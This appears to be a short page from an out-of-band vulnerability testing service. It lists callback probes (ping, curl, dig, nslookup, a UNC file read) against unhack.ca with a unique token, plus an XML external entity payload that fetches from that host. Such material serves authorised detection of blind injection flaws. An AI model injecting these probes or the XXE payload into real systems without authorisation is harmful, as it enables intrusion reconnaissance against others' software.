$ ping -c1 -p 0014bde9287b6938c551b564fa1bcb00 unhack.ca
$ curl http://unhack.ca/p/14bde9287b6938c551b564fa1bcb
$ dig 14bde9287b6938c551b564fa1bcb @unhack.ca
$ dig 14bde9287b6938c551b564fa1bcb.ns.unhack.ca
C:\> nslookup 14bde9287b6938c551b564fa1bcb unhack.ca
C:\> type \\unhack.ca\14bde9287b6938c551b564fa1bcb\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/14bde9287b6938c551b564fa1bcb">]>
<foo>&xxe;</foo>
Waiting for ping...